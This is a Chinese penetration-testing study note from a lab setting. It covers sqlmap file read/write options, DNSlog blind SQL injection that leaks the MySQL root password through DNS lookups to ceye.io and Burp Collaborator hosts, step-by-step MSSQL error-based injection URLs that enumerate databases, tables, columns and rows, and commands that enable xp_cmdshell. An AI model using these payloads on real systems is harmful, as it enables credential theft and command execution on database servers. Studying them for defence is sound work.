2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记
sqlmap参数
--file-read,从数据库服务器中读取文件
--file-write,--file-dest,把文件上传到数据库服务器中
dnslog平台的学习和它在盲注中的应用
1,判断注入点
2,测试网站对DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
SELECT LOAD_FILE,可以读文件,做DNS请求
例子,select load_file(group_concat('\\\\',(select concat(user,password)from users limit 3,1),'.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\\aaa'));
如果网站的响应时间长的话,说明可以解析
3,使用concat拼接url和sql语句来注入得到数据
mssql手工注入
1,判断注入点,http://192.168.190.148/less-1.asp?id=1',提示 '1'' 后的引号不完整。 说明有注入点
2,判断数据库类型,http://192.168.190.148/less-1.asp?id=1' and exists(select * from sysobjects)-- ,有结果没报错说明后台数据库是sql server
还有其他方法,常用框架组合方法,例如常见的,asp+mssql,php+mysql/页面报错信息
3,select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa,http://192.168.190.148/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 页面没报错说明是sa账户
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner),http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('db_owner'))>0--,页面没返回信息说明数据库没读写权限
select is_srvrolemember('public');判断是否有public权限,可以爆破表,http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('public'))>0-- 页面正常显示,说明有public权限
4,信息收集,当前数据库,数据库版本,
http://192.168.190.148/less-1.asp?id=1' and (select @@version)=1 --,会报错,返回结果会出来sql server版本
,http://192.168.190.148/less-1.asp?id=1' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 爆出当前用户是dbo
http://192.168.190.148/less-1.asp?id=1' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。 ,爆出当前数据库是test
SELECT db_name(0);函数从0开始,0为当前数据库,将db_name函数下的参数改变,可以爆出所有的数据库
http://192.168.190.148/less-1.asp?id=1' and (select top 1 name from master..sysdatabases where name not in ('aspcms','master','model')) >1--
select top 3 name from master..sysdatabases;可以查询所有数据库,加上条件,where name not in ('db_name','dbname') 表示找到的结果不在设置的集合,就可以爆出所有数据库
5,获取当前数据库的表
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0)>1-- ,获取第一个表名 emails
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('emails'))>1-- ,获取除去emalis之后第一个表,not in里依次增加爆出的表,得到所有表
6,获取当前数据库指定表的字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')>1 --获取第一个字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))>1 --,获取除了id之外的第一个字段,not in后依次增加字段就可以获得所有字段名
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users'))>1--,获取第一个字段
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users')and name not in ('id'))>1--,获取除了id之外的第一个字段,not in依次增加直到获取所有字段
7,获取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1' and (select top 1 username from users)>1 --,获取指定字段的数据,字段只能1个1个修改注入
mssql的xp_cmdshell扩展
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell',查询xp_cmdshell扩展是否打开
exec master..xp_cmdshell 'whoami' 调用xp_cmdshell扩展
提示报错,SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。打开查询分析器,执行即可
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记的更多相关文章
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- Java学习-022-Properties 文件数据写入
Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. ...
- Java学习-019-Properties 文件读取实例源代码
在这几天的学习过程中,有开发的朋友告知我,每个编程语言基本都有相应的配置文件支持类,像 Python 编程语言中支持的 ini 文件及其对应的配置文件读取类 ConfigParse,通过这个类,用户可 ...
- Java学习-016-CSV 文件读取实例源代码
上文(CSV文件写入)讲述了日常自动化测试过程中将测试数据写入 CSV 文件的源码,此文主要讲述如何从 CSV 文件获取测试过程中所需的参数化数据.敬请各位小主参阅,若有不足之处,敬请大神指正,不胜感 ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- Java学习-017-EXCEL 文件读取实例源代码
众所周知,EXCEL 也是软件测试开发过程中,常用的数据文件导入导出时的类型文件之一,此文主要讲述如何通过 EXCEL 文件中 Sheet 的索引(index)或者 Sheet 名称获取文件中对应 S ...
- go学习之文件读取问题(需更新)
go学习之文件读取问题(需更新) 一,问题: 今天做一个GO广度迷宫问题时,出现了一个奇怪的问题. 就是通过fmt.Fscanf()读取文件时,每行末尾多出一个0. 二,问题代码: 1,输入文件maz ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 零基础到精通Web渗透测试的学习路线
小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...
随机推荐
- Html.CSS.JavaScript 学习经验
HTML里面 不要使用 document.getElementsByName() 来获取 元素,会出错. 使用 document.getElementById()更好一些. substring()首字 ...
- SpringCloud配置中心集成Gitlab(十五)
一 开始配置config服务 config-server pom.xml <dependency> <groupId>org.springframework.cloud< ...
- Java 读取properties 配置文件的几种方式
基于ClassLoder读取配置文件 Properties properties = new Properties(); // 使用ClassLoader加载properties配置文件生成对应的输入 ...
- Mui 长按保存图片
必须先要 引入 mui.js,然后参考具体代码 <!DOCTYPE html> <html> <head> <meta charset="utf-8 ...
- IDAE 将外部jar打入本地maven仓库
方式1:dependency 本地jar包 <dependency> <groupId>com.hope.cloud</groupId> <!--自定义--& ...
- Leetcode算法【34在排序数组中查找元素】
在之前ARTS打卡中,我每次都把算法.英文文档.技巧都写在一个文章里,这样对我的帮助是挺大的,但是可能给读者来说,一下子有这么多的输入,还是需要长时间的消化. 那我现在改变下方式,将每一个模块细分化, ...
- SpringBoot自定义starter及自动配置
SpringBoot的核心就是自动配置,而支持自动配置的是一个个starter项目.除了官方已有的starter,用户自己也可以根据规则自定义自己的starter项目. 自定义starter条件 自动 ...
- MIT线性代数:3.矩阵相乘
- 学习笔记33_EF跨数据库
在App.Config中,可以: (1)自定义类 public xxxxDbContext() { public XXXXDbContext():base("name=xxxxContain ...
- CAT客户端如何从Apollo中读取配置?
运行环境 以下就是这个示例的运行环境,如果版本号不一样,区别也应该不会很大,可以根据实际情况做相应调整. JDK 8 spring boot 2.0.7.RELEASE cat-client 3.0. ...